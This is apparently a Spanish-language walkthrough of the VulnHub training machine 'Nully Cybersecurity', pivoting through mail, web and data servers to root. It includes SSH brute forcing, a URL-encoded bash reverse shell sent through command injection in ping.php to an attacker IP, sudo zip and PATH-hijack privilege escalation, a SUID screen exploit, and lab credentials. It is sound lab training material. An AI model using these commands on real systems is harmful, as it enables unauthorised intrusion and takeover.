https://www.vulnhub.com/entry/nully-cybersecurity-1,549/
Nully Cybersecurity - this is an easy-intermediate realistic machine.
While working with the machine, you will need to brute force, pivoting (using metasploit, via portfwd), exploitation web app, and using searchsploit.
About: Wait 5-8 minutes before starting for the machine to start its services. Also, check the welcome page on port 80.
Hints: 'cat rockyou.txt | grep bobby > wordlist' for generating wordlist.
Story: You are a Professional White Hat. Small company Nully Cybersecurity hired you to conduct a security test of their internal corporate systems.
0- con hydra bruteforceamos ssh bob con el hint del wordlist
entramos
la ip interna es 172.17.0.3. Sabemos que hay que rootear 3 servidores (mail,web,data) y estamos en mail
hacemos nmap 172.17.0.0/24 para ver la red interna
PORT STATE SERVICE
80/tcp open http
110/tcp open pop3
2222/tcp open EtherNetIP-1
8000/tcp open http-alt
9000/tcp open cslistener
MAC Address: 02:42:74:EA:1F:9C (Unknown)
Nmap scan report for 172.17.0.2
Host is up (0.000024s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap scan report for 172.17.0.4
Host is up (0.000014s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
8000/tcp open http-alt
9000/tcp open cslistener
MAC Address: 02:42:AC:11:00:04 (Unknown)
Nmap scan report for 172.17.0.5
Host is up (0.000022s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
MAC Address: 02:42:AC:11:00:05 (Unknown)
Nmap scan report for MailServer (172.17.0.3)
Host is up (0.0000060s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
110/tcp open pop3
143/tcp open imap
1. rootear el servidor mail, bob
bob@MailServer:/opt/scripts$ sudo -l
Matching Defaults entries for bob on MailServer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bob may run the following commands on MailServer:
(my2user) NOPASSWD: /bin/bash /opt/scripts/check.sh
bob@MailServer:/opt/scripts$ echo '/bin/bash' > check.sh
bob@MailServer:/opt/scripts$ sudo -u my2user /bin/bash /opt/scripts/check.sh
sudo: setrlimit(RLIMIT_CORE): Operation not permitted
my2user@MailServer:/opt/scripts$ id
uid=1001(my2user) gid=1001(my2user) groups=1001(my2user)
my2user@MailServer:/opt/scripts$ sudo -l
Matching Defaults entries for my2user on MailServer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User my2user may run the following commands on MailServer:
(root) NOPASSWD: /usr/bin/zip
my2user@MailServer:/opt/scripts$ TF=$(mktemp -u)
my2user@MailServer:/opt/scripts$ sudo zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 33%)
# id
uid=0(root) gid=0(root) groups=0(root)
2- servidor web: intuimos que es el 172.17.0.2
bob@MailServer:~$ curl 172.17.0.2
<html>
<head>
<title>Nully Cybersecurity</title>
</head>
<body>
<h1 align="center">Under Construction</h1>
<p>So, there should be a website here, but it's still under construction. -Oliver</p>
</body>
</html>
bob@MailServer:~$
para fuzzearlo en nuestra máquina hacemos
sudo ssh -L 127.0.0.1:8888:172.17.0.2:80 bob@192.168.2.107 -p 2222 -f -N
fuf 127.0.0.1:8888
y descubrimos ping.php, hacemos la llamada siguiente
curl 127.0.0.1:8888/ping/ping.php?host=192.168.2.75%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.84%2F9998%200%3E%261%27
para shell reverse
en backups descubrimos la contraseña de oliver 4hppfvhb9pW4E4OrbMLwPETRgVo2KyyDTqGF
no podemos hacer sudo y por eso entonces en nuestra máquina
sudo ssh -L 127.0.0.1:2223:172.17.0.2:22 bob@192.168.2.107 -p 2222 -f -N
así accedemos a oliver por ssh
ssh oliver@127.0.0.1 -p 2223
necesitamos escalar a oscar que es dueño de python3
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
accedemos a oscar y encontramos su contraseña H53QfJcXNcur9xFGND3bkPlVlMYUrPyBp76o
tenemos un script que nos puede llevar a root
lo transferimos con scp para analizar con ghidra
scp current-date kali@192.168.2.84:~/current-date
solo se trata de esto
oscar@WebServer:~/scripts$ echo '/bin/bash' > date
oscar@WebServer:~/scripts$ chmod +x date
oscar@WebServer:~/scripts$ export PATH=:$PATH
oscar@WebServer:~/scripts$ ./current-date
root@WebServer:~/scripts# id
uid=0(root) gid=0(root) groups=0(root),1000(oscar)
3- dataserver
en 5 tenemos el dataserver, por ftp anónimo cazamos un backup.zip oculto, lo crackeamos con john y tenemos credenciales
donald:HBRLoCZ0b9NEgh8vsECS
entramos y tenemos suid screen, usamos exploit
https://www.exploit-db.com/exploits/41154
donald@DatabaseServer:~$ id
uid=1000(donald) gid=1000(donald) groups=1000(donald)
donald@DatabaseServer:~$ cd /tmp
donald@DatabaseServer:/tmp$ ls
conftest6257 libhax.c libhax.so rootshell rootshell.c screens
donald@DatabaseServer:/tmp$ ./rootshell
# id
uid=0(root) gid=0(root) groups=0(root),1000(donald)
#
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